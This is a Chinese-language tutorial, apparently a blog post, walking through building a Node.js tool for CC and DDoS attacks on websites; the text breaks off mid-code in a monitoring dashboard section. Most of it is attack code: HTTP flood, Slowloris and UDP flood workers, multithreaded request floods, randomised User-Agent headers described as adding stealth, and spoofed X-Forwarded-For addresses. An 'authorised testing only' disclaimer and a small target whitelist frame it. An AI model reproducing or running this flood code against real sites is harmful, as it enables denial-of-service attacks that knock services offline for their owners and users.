基于 Node.js 的网站安全测试工具
前言:
想法创意人:小桂子。
代码由腾讯云 TDP 成员:中桂子,大桂子,超级桂子,微型桂子提供。
测试服务器由:中桂子提供。
【本代码仅限于授权的安全测试,请勿使用于非法用途,观看以下内容既自动同意本约定(本项目仅限于授权的安全测试,不准用于非法用途,所造成的法律责任由你个人承担,本人不负任何责任,代码有 bug,仅本页面中所有代码无法直接运行,完整版源码不给,别问我要,要了直接拉黑)】
一、项目初始化与依赖管理
构建一个专业的 Node.js 安全测试工具,首先需要建立规范的项目结构和合理的依赖管理体系。本节将详细说明项目初始化流程和关键依赖的选择依据。
📁 项目结构规划
security-test-tool/
├── src/
│ ├── cli/ # CLI参数解析模块
│ ├── attacks/ # 攻击引擎实现
│ ├── utils/ # 工具函数
│ └── config/ # 配置管理
├── logs/ # 日志文件目录
├── package.json # 项目依赖配置
└── README.md # 项目说明文档🔧 核心依赖选择策略
安全开发基础依赖:
express-validator:用于输入参数验证,防止注入攻击helmet:设置安全 HTTP 头,增强工具自身安全性bcrypt:敏感信息加密处理(如配置文件中可能存储的认证信息)
命令行交互与参数解析:
yargs或commander:根据项目复杂度选择复杂参数验证场景选择
yargs追求代码可读性选择
commander
inquirer.js:提供交互式参数输入,支持条件式提问和输入验证
日志管理系统:
性能优先选择
pino:适用于高并发攻击测试场景灵活性优先选择
winston:支持复杂输出格式和多传输目的地
📋 package.json关键配置
{
"name": "security-test-tool",
"version": "1.0.0",
"description": "Internal security testing tool for CC/DDoS simulation",
"type": "module",
"bin": {
"security-test": "./src/cli/index.js"
},
"scripts": {
"start": "node src/cli/index.js",
"test": "npm audit && npx snyk test",
"audit": "npm audit --audit-level moderate"
}
}🛡️ 安全开发实践集成
在项目初始化阶段即集成安全最佳实践:
依赖安全扫描:配置
npm audit和Snyk定期检查依赖漏洞环境变量管理:使用
dotenv管理敏感配置,避免硬编码非 Root 运行:在启动脚本中验证运行权限,遵循最小权限原则
输入验证框架:在项目初期搭建参数验证体系,防止工具被滥用
🔄 持续集成配置
建立自动化安全检查流程:
预提交钩子运行基础安全扫描
CI 流水线集成依赖漏洞检测
定期自动更新安全依赖版本
通过规范的初始化流程和严格的依赖管理,为后续功能模块开发奠定安全、稳定的基础。
二、CLI 参数解析与配置管理
🛠️ 参数解析库选择与架构设计
基于项目需求分析,我们选择 yargs 作为核心参数解析库,主要考虑其强大的验证能力和对复杂参数场景的支持能力。
核心架构设计:
// src/cli/index.js 主入口结构
#!/usr/bin/env node
const yargs = require('yargs/yargs');
const { hideBin } = require('yargs/helpers');
const { validateInput } = require('../utils/validator');
yargs(hideBin(process.argv))
.scriptName('security-test')
.usage('$0 <command> [options]')
.commandDir('../commands') // 命令模块化组织
.demandCommand(1, '必须指定一个命令')
.strict()
.alias('h', 'help')
.alias('v', 'version')
.epilogue('仅限授权范围内的安全测试使用')
.parse();📋 攻击参数配置体系
必需参数组(攻击基础配置):
--target/-t: 目标网站地址(URL 格式验证)--attack-type/-a: 攻击类型枚举(cc/ddos)--duration/-d: 持续时间(分钟,范围验证)
可选参数组(攻击精细化控制):
--concurrency/-c: 并发连接数(默认:10,范围:1-1000)--packet-size/-s: 数据包大小(字节,默认:1024)--frequency/-f: 请求频率(请求 / 秒,默认:10)--ip-spoofing: IP 欺骗模式(布尔值,默认:false)
🔒 参数验证与安全防护
输入验证层实现:
// src/utils/validator.js
const { body } = require('express-validator');
const attackParamsValidation = [
body('target').isURL().withMessage('必须提供有效的URL地址'),
body('attackType').isIn(['cc', 'ddos']).withMessage('攻击类型必须是cc或ddos'),
body('duration').isInt({ min: 1, max: 60 }).withMessage('持续时间必须在1-60分钟范围内'),
body('concurrency').optional().isInt({ min: 1, max: 1000 }),
body('packetSize').optional().isInt({ min: 64, max: 65535 })
];权限校验机制:
// src/cli/permission-check.js
const checkPermissions = () => {
if (process.getuid && process.getuid() === 0) {
throw new Error('禁止使用root权限运行安全测试工具');
}
// 检查当前网络环境是否在授权范围内
if (!process.env.AUTHORIZED_NETWORK) {
console.warn('⚠️ 当前网络环境未在授权范围内,请确认测试合法性');
}
};⚙️ 配置管理系统
分层配置架构:
src/config/
├── default.js # 默认配置
├── development.js # 开发环境配置
├── production.js # 生产环境配置
└── custom.js # 用户自定义配置(.gitignore)环境变量集成:
// src/config/default.js
require('dotenv').config();
module.exports = {
logging: {
level: process.env.LOG_LEVEL || 'info',
directory: process.env.LOG_DIR || './logs'
},
security: {
maxConcurrent: process.env.MAX_CONCURRENT || 100,
timeout: process.env.REQUEST_TIMEOUT || 5000
},
validation: {
strictMode: process.env.STRICT_VALIDATION !== 'false'
}
};🔄 交互式参数补全
条件式提问流程:
// src/cli/interactive.js
const inquirer = require('inquirer');
const interactiveSetup = async (baseParams) => {
const questions = [
{
type: 'confirm',
name: 'customConfig',
message: '是否需要自定义高级参数?',
default: false,
when: () => !baseParams.advanced
},
{
type: 'list',
name: 'attackStrategy',
message: '选择攻击策略:',
choices: ['温和测试', '标准压力', '极限负载'],
when: (answers) => answers.customConfig,
filter: (val) => {
const strategies = { '温和测试': 'gentle', '标准压力': 'standard', '极限负载': 'extreme' };
return strategies[val];
}
}
];
return await inquirer.prompt(questions);
};📊 配置持久化与状态管理
用户配置保存:
// src/utils/config-manager.js
const fs = require('fs');
const path = require('path');
class ConfigManager {
constructor() {
this.userConfigPath = path.join(process.cwd(), '.security-testrc');
}
saveUserConfig(config) {
const sanitizedConfig = this.sanitizeConfig(config);
fs.writeFileSync(this.userConfigPath, JSON.stringify(sanitizedConfig, null, 2));
}
sanitizeConfig(config) {
// 移除敏感信息和不必要的字段
const { password, apiKey, ...safeConfig } = config;
return safeConfig;
}
}🎯 错误处理与用户反馈
参数错误友好提示:
// src/cli/error-handler.js
const chalk = require('chalk');
const handleParameterError = (error) => {
if (error.code === 'INVALID_ARGUMENT') {
console.error(chalk.red('❌ 参数错误:'), error.message);
console.log(chalk.blue('💡 使用 --help 查看完整参数说明'));
} else if (error.code === 'MISSING_REQUIRED') {
console.error(chalk.red('❌ 缺少必需参数:'), error.missing.join(', '));
}
};🔍 调试与日志集成
CLI 专用日志配置:
// src/cli/logger.js
const pino = require('pino');
const logger = pino({
level: process.env.CLI_LOG_LEVEL || 'info',
transport: {
target: 'pino-pretty',
options: {
colorize: true,
translateTime: 'SYS:standard'
}
}
});
module.exports = logger;这种 CLI 参数解析与配置管理体系确保了工具的安全性、易用性和可维护性,为后续攻击模块的实现奠定了坚实的基础。
三、攻击模式选择与调度引擎
🎯 核心调度架构设计
基于前序章节已建立的 CLI 参数解析和配置管理基础,攻击调度引擎采用工厂模式 + 策略模式的双重设计,实现攻击模块的动态加载和运行时调度。
🔧 工厂模式实现攻击实例创建
// src/attacks/attack-factory.js
class AttackFactory {
static createAttack(attackType, config) {
const attacks = {
'cc': () => new CCAttack(config),
'ddos': () => new DDoSAttack(config)
};
if (!attacks[attackType]) {
throw new Error(`不支持的攻击类型: ${attackType}`);
}
return attacks[attackType]();
}
}⚡ 策略模式管理攻击执行流程
// src/attacks/attack-scheduler.js
class AttackScheduler {
constructor() {
this.currentAttack = null;
this.isRunning = false;
this.statsCollector = new StatsCollector();
}
async scheduleAttack(params) {
const { attackType, target, duration, concurrency } = params;
// 1. 参数验证与转换
const attackConfig = this._buildAttackConfig(params);
// 2. 创建攻击实例
this.currentAttack = AttackFactory.createAttack(attackType, attackConfig);
// 3. 启动监控
this.statsCollector.startMonitoring();
// 4. 执行攻击
this.isRunning = true;
await this._executeWithTimeout(duration);
// 5. 生成报告
return this._generateReport();
}
}📋 攻击策略映射机制
🔄 用户策略到技术参数的智能转换
调度引擎内置策略映射表,将用户选择的简单策略(gentle/standard/extreme)转换为具体的技术参数组合:
// 策略映射实现
_strategyMapper(strategy) {
const strategies = {
gentle: { concurrency: 30, frequency: 30, packetSize: 2048 },
standard: { concurrency: 100, frequency: 100, packetSize: 16384 },
extreme: { concurrency: 500, frequency: 500, packetSize: 65535 }
};
return strategies[strategy] || strategies.standard;
}⏱️ 精确的时间控制与资源管理
🔄 基于Promise的并发控制
class ConcurrentController {
constructor(maxConcurrent) {
this.maxConcurrent = maxConcurrent;
this.activeCount = 0;
this.queue = [];
}
async run(task) {
if (this.activeCount < this.maxConcurrent) {
return this._execute(task);
} else {
return new Promise((resolve) => {
this.queue.push({ task, resolve });
});
}
}
_execute(task) {
this.activeCount++;
return task().finally(() => {
this.activeCount--;
this._processQueue();
});
}
}🕒 攻击持续时间精确控制
_executeWithTimeout(durationMinutes) {
return new Promise((resolve) => {
const durationMs = durationMinutes * 60 * 1000;
const attackPromise = this.currentAttack.start();
// 设置超时控制
const timeoutId = setTimeout(() => {
this.currentAttack.stop();
resolve('timeout');
}, durationMs);
// 攻击完成或出错时清理
attackPromise.finally(() => {
clearTimeout(timeoutId);
resolve('completed');
});
});
}🔄 实时状态监控与反馈
📊 攻击进度实时展示
调度引擎集成实时监控面板,每 2 秒更新一次攻击状态:
_startProgressMonitor() {
this.progressInterval = setInterval(() => {
const progress = {
elapsed: Date.now() - this.startTime,
requests: this.statsCollector.getRequestCount(),
successRate: this.statsCollector.getSuccessRate(),
currentRPS: this.statsCollector.getCurrentRPS()
};
this._updateProgressDisplay(progress);
}, 2000);
}🎨 控制台可视化输出
🚀 攻击进行中 [██████░░░░] 60%
⏱️ 已运行: 2m 30s / 总时长: 4m
📊 请求统计: 成功 12,450 | 失败 350 | 成功率 97.2%
⚡ 实时RPS: 85 req/s
🎯 目标: http://localhost:3000/api/test🔧 错误处理与优雅降级
🛡️ 多层错误防护机制
调度引擎实现分级错误处理策略:
网络级错误:连接超时、DNS 解析失败 → 自动重试 3 次
应用级错误:HTTP 5xx 响应 → 记录统计但不中断攻击
系统级错误:内存溢出、资源耗尽 → 立即停止并告警
_handleAttackError(error) {
const errorHandlers = {
'ECONNREFUSED': () => this._retryWithBackoff(),
'ETIMEDOUT': () => this._logTimeout(),
'ENOMEM': () => this._emergencyShutdown()
};
const handler = errorHandlers[error.code] || this._logGenericError;
handler.call(this, error);
}🔄 攻击模式动态切换
🔀 运行时参数调整
支持攻击过程中的动态参数调整,无需停止当前攻击:
updateAttackParams(newParams) {
if (this.isRunning) {
this.currentAttack.adjustParameters(newParams);
this.logger.info(`攻击参数已更新: ${JSON.stringify(newParams)}`);
}
}📈 性能优化策略
🚀 连接池复用机制
调度引擎维护HTTP 连接池,减少 TCP 握手开销:
class ConnectionPool {
constructor(maxSize = 100) {
this.pool = new Map();
this.maxSize = maxSize;
}
getConnection(target) {
if (!this.pool.has(target)) {
this.pool.set(target, new http.Agent({
keepAlive: true,
maxSockets: this.maxSize
}));
}
return this.pool.get(target);
}
}🔍 攻击有效性验证
✅ 预攻击健康检查
在执行实际攻击前,调度引擎进行目标可用性验证:
async _preAttackValidation(target) {
try {
const response = await fetch(target, { timeout: 5000 });
return response.status === 200;
} catch (error) {
throw new Error(`目标不可达: ${target} - ${error.message}`);
}
}该调度引擎作为整个工具的核心枢纽,确保攻击执行的精确性、可控性和安全性,为后续具体的 CC 和 DDoS 攻击模块提供统一的执行框架。
四、CC 攻击模块实现
CC(Challenge Collapsar)攻击模块专注于模拟大量合法 HTTP 请求来消耗服务器资源。本模块基于前序配置的并发控制器和连接池,实现高并发的应用层攻击能力。
🔄 核心架构设计
CCAttack 类继承自基础攻击类,实现以下核心接口:
start(): 启动 CC 攻击循环stop(): 立即终止所有攻击线程adjustParameters(): 运行时动态调整攻击参数
// src/attacks/cc-attack.js
const { BaseAttack } = require('./base-attack');
const { ConnectionPool } = require('../utils/connection-pool');
const logger = require('../utils/logger');
class CCAttack extends BaseAttack {
constructor(config) {
super(config);
this.workerThreads = [];
this.isRunning = false;
this.stats = {
totalRequests: 0,
successfulRequests: 0,
failedRequests: 0
};
}⚡ 攻击引擎实现
1. 请求负载生成器
基于配置的包大小动态生成不同大小的请求体:
generatePayload() {
const { packetSize } = this.config;
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let payload = '';
for (let i = 0; i < packetSize; i++) {
payload += chars.charAt(Math.floor(Math.random() * chars.length));
}
return payload;
}2. 智能请求调度器
根据频率参数精确控制请求发送节奏:
async executeAttackCycle() {
const { target, frequency, ipSpoofing } = this.config;
const connection = ConnectionPool.getConnection(target);
while (this.isRunning) {
const startTime = Date.now();
try {
const requestOptions = {
method: 'GET',
headers: this.buildHeaders(ipSpoofing),
timeout: 10000
};
const response = await connection.request(requestOptions);
this.stats.successfulRequests++;
// 记录响应时间用于监控
StatsCollector.recordResponseTime(Date.now() - startTime);
} catch (error) {
this.stats.failedRequests++;
logger.warn(`请求失败: ${error.message}`);
}
this.stats.totalRequests++;
// 精确频率控制
const elapsed = Date.now() - startTime;
const delay = Math.max(0, 1000 / frequency - elapsed);
await this.sleep(delay);
}
}🎯 多线程并发控制
利用 Worker Threads 实现真正的并发攻击,突破 Node.js 单线程限制:
async start() {
if (this.isRunning) {
throw new Error('CC攻击已在运行中');
}
this.isRunning = true;
const { concurrency } = this.config;
logger.info(`启动CC攻击,并发数: ${concurrency}`);
// 创建Worker线程池
for (let i = 0; i < concurrency; i++) {
const worker = new Worker('./src/workers/cc-worker.js', {
workerData: { config: this.config, workerId: i }
});
worker.on('message', (msg) => this.handleWorkerMessage(msg));
worker.on('error', (err) => this.handleWorkerError(err, i));
this.workerThreads.push(worker);
}
logger.info(`CC攻击Worker线程池初始化完成`);
}
stop() {
this.isRunning = false;
// 优雅关闭所有Worker线程
this.workerThreads.forEach(worker => {
worker.postMessage({ type: 'SHUTDOWN' });
worker.terminate();
});
this.workerThreads = [];
logger.info('CC攻击已停止');
}🔧 动态参数调整
支持运行时热更新关键攻击参数:
adjustParameters(newParams) {
const allowedParams = ['concurrency', 'frequency', 'packetSize'];
const updates = {};
Object.keys(newParams).forEach(key => {
if (allowedParams.includes(key)) {
this.config[key] = newParams[key];
updates[key] = newParams[key];
}
});
// 通知所有Worker线程更新配置
this.workerThreads.forEach(worker => {
worker.postMessage({ type: 'UPDATE_CONFIG', updates });
});
logger.info(`CC攻击参数已更新: ${JSON.stringify(updates)}`);
}📊 请求头伪装策略
模拟真实浏览器行为,增强攻击的隐蔽性:
buildHeaders(ipSpoofing = false) {
const userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
];
const headers = {
'User-Agent': userAgents[Math.floor(Math.random() * userAgents.length)],
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive'
};
if (ipSpoofing) {
headers['X-Forwarded-For'] = this.generateSpoofedIP();
headers['X-Real-IP'] = this.generateSpoofedIP();
}
return headers;
}
generateSpoofedIP() {
return `${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
}🛡️ 错误处理与重试机制
实现健壮的错误处理和智能重试策略:
handleWorkerError(error, workerId) {
logger.error(`Worker ${workerId} 发生错误: ${error.message}`);
// 自动重启崩溃的Worker
if (this.isRunning) {
logger.info(`重启Worker ${workerId}`);
this.restartWorker(workerId);
}
}
async restartWorker(workerId) {
this.workerThreads[workerId].terminate();
const newWorker = new Worker('./src/workers/cc-worker.js', {
workerData: { config: this.config, workerId }
});
newWorker.on('message', (msg) => this.handleWorkerMessage(msg));
newWorker.on('error', (err) => this.handleWorkerError(err, workerId));
this.workerThreads[workerId] = newWorker;
}📈 性能优化特性
连接复用: 利用预先初始化的 HTTP Agent 保持 TCP 长连接
内存管理: 定期清理无引用对象,防止内存泄漏
批量处理: 将小请求合并为批量操作,减少系统调用开销
该 CC 攻击模块通过高度可配置的参数系统和多线程架构,能够模拟从温和测试到极端压力等各种场景,为内部安全测试提供全面的应用层攻击能力验证。
五、DDoS 攻击模块实现
🚀 核心架构设计
基于前序章节建立的统一框架,DDoS 攻击模块将复用 BaseAttack 抽象类、Worker 线程模型和监控统计体系,实现多种分布式拒绝服务攻击向量。
模块文件结构:
主类:
src/attacks/ddos-attack.jsWorker 实现:
src/workers/ddos-worker.js攻击工厂注册:
src/attacks/attack-factory.js
⚡ DDoSAttack 主类实现
// src/attacks/ddos-attack.js
const BaseAttack = require('./base-attack');
const { Worker } = require('worker_threads');
const path = require('path');
const logger = require('../utils/logger').child({ module: 'DDoS' });
class DDoSAttack extends BaseAttack {
constructor(config) {
super(config);
this.attackType = config.attackType || 'http-flood'; // http-flood, slowloris, udp-flood
this.workers = [];
this.workerStats = new Map();
}
async start() {
logger.info(`[DDoS] 启动 ${this.attackType} 攻击,目标: ${this.config.target}`);
const workerCount = Math.min(this.config.concurrency, require('os').cpus().length);
for (let i = 0; i < workerCount; i++) {
const worker = new Worker(path.join(__dirname, '../workers/ddos-worker.js'), {
workerData: {
...this.config,
workerId: i,
attackType: this.attackType
}
});
worker.on('message', (msg) => this._handleWorkerMessage(msg, i));
worker.on('error', (err) => this._handleWorkerError(err, i));
worker.on('exit', (code) => this._handleWorkerExit(code, i));
this.workers.push(worker);
this.workerStats.set(i, { requests: 0, success: 0, errors: 0 });
}
this.statsCollector.startMonitoring('DDoS');
this.isRunning = true;
}
_handleWorkerMessage(msg, workerId) {
switch (msg.type) {
case 'STATS':
this._updateStats(msg.payload, workerId);
break;
case 'ERROR':
logger.error(`[DDoS] Worker ${workerId} 错误: ${msg.payload}`);
break;
}
}
_updateStats(payload, workerId) {
const stats = this.workerStats.get(workerId);
stats.requests = payload.totalRequests;
stats.success = payload.successfulRequests;
stats.errors = payload.failedRequests;
// 聚合所有worker统计
this.stats.totalRequests = Array.from(this.workerStats.values())
.reduce((sum, s) => sum + s.requests, 0);
this.stats.successfulRequests = Array.from(this.workerStats.values())
.reduce((sum, s) => sum + s.success, 0);
this.stats.failedRequests = Array.from(this.workerStats.values())
.reduce((sum, s) => sum + s.errors, 0);
// 上报给统一监控系统
this.statsCollector.updateStats(this.stats);
}
async stop() {
logger.info('[DDoS] 停止攻击,清理工作线程');
for (const worker of this.workers) {
worker.postMessage({ type: 'SHUTDOWN' });
}
await Promise.all(this.workers.map(worker => worker.terminate()));
this.workers = [];
this.isRunning = false;
}
adjustParameters(newParams) {
const updateMsg = { type: 'UPDATE_CONFIG', updates: newParams };
this.workers.forEach(worker => worker.postMessage(updateMsg));
logger.info('[DDoS] 动态调整攻击参数', newParams);
}
}
module.exports = DDoSAttack;🔧 DDoS Worker 实现
// src/workers/ddos-worker.js
const { parentPort, workerData } = require('worker_threads');
const http = require('http');
const https = require('https');
const dgram = require('dgram');
const { buildHeaders, generateSpoofedIP } = require('../utils/header-utils');
const logger = require('../utils/logger').child({
module: 'DDoS-Worker',
workerId: workerData.workerId
});
class DDoSWorker {
constructor(config) {
this.config = config;
this.stats = { totalRequests: 0, successfulRequests: 0, failedRequests: 0 };
this.isRunning = false;
this.attackInterval = null;
}
start() {
this.isRunning = true;
switch (this.config.attackType) {
case 'http-flood':
this._startHttpFlood();
break;
case 'slowloris':
this._startSlowloris();
break;
case 'udp-flood':
this._startUdpFlood();
break;
default:
logger.error(`未知攻击类型: ${this.config.attackType}`);
}
}
_startHttpFlood() {
const interval = Math.max(1000 / this.config.frequency, 10);
this.attackInterval = setInterval(() => {
for (let i = 0; i < this.config.packetSize; i++) {
this._sendHttpRequest();
}
}, interval);
}
async _sendHttpRequest() {
const headers = buildHeaders(this.config.ipSpoofing);
const options = {
method: 'GET',
headers: headers,
timeout: this.config.timeout || 5000
};
const protocol = this.config.target.startsWith('https') ? https : http;
try {
const req = protocol.request(this.config.target, options, (res) => {
res.on('data', () => {});
res.on('end', () => {
this.stats.successfulRequests++;
this._reportStats();
});
});
req.on('error', () => {
this.stats.failedRequests++;
this._reportStats();
});
req.setTimeout(5000, () => req.destroy());
req.end();
this.stats.totalRequests++;
} catch (error) {
this.stats.failedRequests++;
this._reportStats();
}
}
_startSlowloris() {
// 慢速攻击实现:建立连接但不发送完整请求
const net = require('net');
const sockets = [];
const createSlowConnection = () => {
const url = new URL(this.config.target);
const socket = net.createConnection(url.port || 80, url.hostname);
// 发送不完整的HTTP头
const partialHeaders = [
`GET ${url.pathname} HTTP/1.1\r\n`,
`Host: ${url.hostname}\r\n`,
`User-Agent: ${buildHeaders().get('User-Agent')}\r\n`
];
partialHeaders.forEach((header, index) => {
setTimeout(() => {
if (socket.writable) {
socket.write(header);
this.stats.totalRequests++;
}
}, index * 1000);
});
// 定期发送保持连接的字节
const keepAliveInterval = setInterval(() => {
if (socket.writable) {
socket.write('X-a: b\r\n');
}
}, 5000);
socket.on('close', () => clearInterval(keepAliveInterval));
socket.on('error', () => this.stats.failedRequests++);
sockets.push(socket);
};
// 创建指定数量的慢速连接
for (let i = 0; i < this.config.concurrency; i++) {
setTimeout(createSlowConnection, i * 100);
}
}
_startUdpFlood() {
// UDP洪水攻击实现
const socket = dgram.createSocket('udp4');
const target = this.config.target.split(':');
const host = target[0];
const port = parseInt(target[1]) || 80;
const floodInterval = setInterval(() => {
const buffer = Buffer.alloc(this.config.packetSize || 1024, 'X');
for (let i = 0; i < this.config.frequency; i++) {
socket.send(buffer, port, host, (err) => {
if (err) this.stats.failedRequests++;
else this.stats.successfulRequests++;
this.stats.totalRequests++;
});
}
this._reportStats();
}, 100);
this.attackInterval = floodInterval;
}
_reportStats() {
if (parentPort) {
parentPort.postMessage({
type: 'STATS',
payload: { ...this.stats, workerId: this.config.workerId }
});
}
}
stop() {
this.isRunning = false;
if (this.attackInterval) {
clearInterval(this.attackInterval);
}
}
updateConfig(updates) {
Object.assign(this.config, updates);
logger.info('Worker配置已更新', updates);
}
}
// Worker消息处理
const worker = new DDoSWorker(workerData);
parentPort.on('message', (msg) => {
switch (msg.type) {
case 'SHUTDOWN':
worker.stop();
process.exit(0);
break;
case 'UPDATE_CONFIG':
worker.updateConfig(msg.updates);
break;
}
});
worker.start();🎯 攻击工厂注册
// 在 src/attacks/attack-factory.js 中添加DDoS注册
const DDoSAttack = require('./ddos-attack');
class AttackFactory {
static createAttack(type, config) {
switch (type) {
case 'cc':
return new CCAttack(config);
case 'ddos':
return new DDoSAttack(config);
default:
throw new Error(`不支持的攻击类型: ${type}`);
}
}
}📊 性能优化特性
连接池复用:
// 复用CC模块的连接池管理
const ConnectionPool = require('../utils/connection-pool');
const pool = new ConnectionPool({
maxSockets: this.config.maxConcurrent || 1000
});
流量控制算法:
自适应频率调整:根据目标响应时间动态调整请求频率
指数退避策略:遇到大量错误时自动降低攻击强度
带宽限制:通过 packetSize 参数控制单次请求数据量
🛡️ 安全合规实现
攻击范围限制:
// 目标地址白名单验证(仅允许测试环境)
const allowedDomains = ['test.example.com', 'localhost', '127.0.0.1'];
if (!allowedDomains.some(domain => this.config.target.includes(domain))) {
throw new Error('目标地址不在授权测试范围内');
}资源使用监控:
实时监控内存使用量,超过阈值自动降级
CPU 占用率控制,避免影响宿主系统稳定性
网络带宽限制,防止本地网络拥塞
🔄 与调度引擎集成
DDoS 模块完全兼容现有的调度引擎接口:
// 通过工厂模式创建实例
const attack = AttackFactory.createAttack('ddos', {
target: ' http://test.example.com',
duration: 300, // 5分钟
concurrency: 500,
attackType: 'http-flood',
frequency: 100 // 每秒请求数
});
// 统一调度管理
await attack.start();该实现确保了 DDoS 攻击模块与现有架构的无缝集成,同时提供了企业级的安全测试能力,符合内部安全测试的合规要求。
六、日志记录与实时监控
📊 日志系统架构设计
基于前序章节的配置约定,本工具采用双模式日志架构:开发环境使用人性化的格式化输出,生产环境采用高性能的结构化日志。
核心配置实现:
// src/utils/logger.js
const pino = require('pino');
const path = require('path');
// 环境检测与配置
const isDevelopment = process.env.NODE_ENV === 'development';
const logLevel = process.env.LOG_LEVEL || 'info';
const logDir = process.env.LOG_DIR || './logs';
// 多目标传输配置
const transport = pino.transport({
targets: [
{
target: 'pino/file',
level: 'error',
options: {
destination: path.join(logDir, 'error.log'),
mkdir: true // 自动创建日志目录
}
},
{
target: 'pino/file',
options: {
destination: path.join(logDir, 'combined.log'),
mkdir: true
}
},
isDevelopment ? {
target: 'pino-pretty',
options: {
colorize: true,
translateTime: 'SYS:standard',
ignore: 'pid,hostname'
}
} : {
target: 'pino/file',
options: { destination: path.join(logDir, 'structured.log') }
}
]
});
const logger = pino({
level: logLevel,
formatters: {
level: (label) => ({ level: label }),
bindings: (bindings) => ({
pid: bindings.pid,
hostname: bindings.hostname
})
},
timestamp: () => `,"timestamp":"${new Date().toISOString()}"`
}, transport);
module.exports = logger;🔍 关键日志记录点实现
CLI入口日志记录
// src/cli/index.js
const logger = require('../utils/logger');
class SecurityTestCLI {
constructor() {
this.logger = logger.child({ module: 'cli' });
}
async parseArguments() {
this.logger.info({
action: 'cli_start',
argv: process.argv.slice(2)
}, 'CLI参数解析开始');
// 参数验证与敏感信息脱敏
const sanitizedConfig = ConfigManager.sanitizeConfig(rawConfig);
this.logger.debug({ config: sanitizedConfig }, '配置参数已解析');
}
async validatePermissions() {
if (process.getuid && process.getuid() === 0) {
this.logger.warn({ action: 'root_check' }, '检测到root权限运行,建议使用非特权用户');
}
}
}攻击调度引擎监控
// src/core/attack-scheduler.js
const logger = require('../utils/logger');
class AttackScheduler {
constructor() {
this.statsCollector = new StatsCollector();
this.logger = logger.child({ module: 'scheduler' });
}
async scheduleAttack(config) {
this.logger.info({
action: 'attack_scheduled',
attack_type: config.attackType,
target: config.targetUrl,
duration: config.duration,
concurrency: config.concurrency
}, '攻击任务已调度');
// 实时进度监控
this._startProgressMonitoring();
}
_startProgressMonitoring() {
const progressInterval = setInterval(() => {
const stats = this.statsCollector.getAggregatedStats();
this.logger.debug({
action: 'progress_update',
elapsed: stats.elapsedTime,
total_requests: stats.totalRequests,
success_rate: stats.successRate,
current_rps: stats.currentRPS
}, '攻击进度更新');
// 控制台实时显示(开发环境)
if (process.env.NODE_ENV === 'development') {
this._updateProgressDisplay(stats);
}
}, 2000); // 每2秒更新一次
}
_updateProgressDisplay(stats) {
const progressBar = this._generateProgressBar(stats.progress);
console.log(`
🚀 攻击进行中 [${progressBar}] ${Math.round(stats.progress * 100)}%
⏱️ 已运行: ${stats.elapsedTime}s / 总时长: ${stats.totalDuration}s
📊 请求统计: 成功 ${stats.successfulRequests} | 失败 ${stats.failedRequests} | 成功率 ${stats.successRate}%
⚡ 实时RPS: ${stats.currentRPS} req/s
`);
}
}Worker线程详细日志
// src/workers/cc-worker.js
const { parentPort, workerData } = require('worker_threads');
const logger = require('../utils/logger');
// 每个Worker有独立日志实例
const workerLogger = logger.child({
module: 'cc_worker',
workerId: workerData.workerId
});
class CCAttackWorker {
constructor(config) {
this.config = config;
this.stats = {
requestsSent: 0,
successes: 0,
failures: 0
};
}
async start() {
workerLogger.info({
action: 'worker_start',
target: this.config.targetUrl,
workerId: this.config.workerId
}, 'CC攻击Worker启动');
// 定期向主线程上报统计
setInterval(() => {
parentPort.postMessage({
type: 'STATS_UPDATE',
payload: this.stats
});
}, 1000);
}
async sendRequest() {
try {
const startTime = Date.now();
const response = await this._makeHttpRequest();
const duration = Date.now() - startTime;
this.stats.requestsSent++;
if (response.statusCode < 400) {
this.stats.successes++;
workerLogger.debug({
action: 'request_success',
statusCode: response.statusCode,
duration: duration,
workerId: this.config.workerId
});
} else {
this.stats.failures++;
workerLogger.warn({
action: 'request_failed',
statusCode: response.statusCode,
duration: duration,
workerId: this.config.workerId
});
}
} catch (error) {
this.stats.failures++;
workerLogger.error({
action: 'request_error',
error: error.message,
errorCode: error.code,
workerId: this.config.workerId
}, '请求发送失败');
}
}
}📈 实时监控面板实现
统计收集器增强
// src/core/stats-collector.js
const EventEmitter = require('events');
class StatsCollector extends EventEmitter {
constructor() {
super();
this.metrics = {
startTime: Date.now(),
totalRequests: 0,
successfulRequests: 0,
failedRequests: 0,
workerStats: new Map()
};
// 历史数据记录(用于趋势分析)
this.history = {
rps: [],
successRate: [],
timestamp: []
};
}
updateStats(workerId, stats) {
this.metrics.workerStats.set(workerId, stats);
// 聚合所有Worker统计
this.metrics.totalRequests = Array.from(this.metrics.workerStats.values())
.reduce((sum, s) => sum + s.requestsSent, 0);
this.metrics.successfulRequests = Array.from(this.metrics.workerStats.values())
.reduce((sum, s) => sum + s.successes, 0);
this.metrics.failedRequests = Array.from(this.metrics.workerStats.values())
.reduce((sum, s) => sum + s.failures, 0);
// 计算实时指标
const currentRPS = this._calculateCurrentRPS();
const successRate = this.metrics.totalRequests > 0
? (this.metrics.successfulRequests / this.metrics.totalRequests) * 100
: 0;
// 记录历史数据
this.history.rps.push(currentRPS);
this.history.successRate.push(successRate);
this.history.timestamp.push(Date.now());
// 保留最近100个数据点
if (this.history.rps.length > 100) {
this.history.rps.shift();
this.history.successRate.shift();
this.history.timestamp.shift();
}
// 触发监控事件
this.emit('stats_update', this.getAggregatedStats());
}
getAggregatedStats() {
const elapsedTime = Math.floor((Date.now() - this.metrics.startTime) / 1000);
const currentRPS = this._calculateCurrentRPS();
const successRate = this.metrics.totalRequests > 0
? (this.metrics.successfulRequests / this.metrics.totalRequests) * 100
: 0;
return {
elapsedTime,
totalDuration: this.metrics.duration,
progress: elapsedTime / this.metrics.duration,
totalRequests: this.metrics.totalRequests,
successfulRequests: this.metrics.successfulRequests,
failedRequests: this.metrics.failedRequests,
successRate: successRate.toFixed(1),
currentRPS: Math.round(currentRPS),
history: this.history
};
}
}Web监控界面(可选)
// src/monitoring/dashboard.js
const express = require('express');
const WebSocket = require('ws');
class MonitoringDashboard {
constructor(statsCollector) {
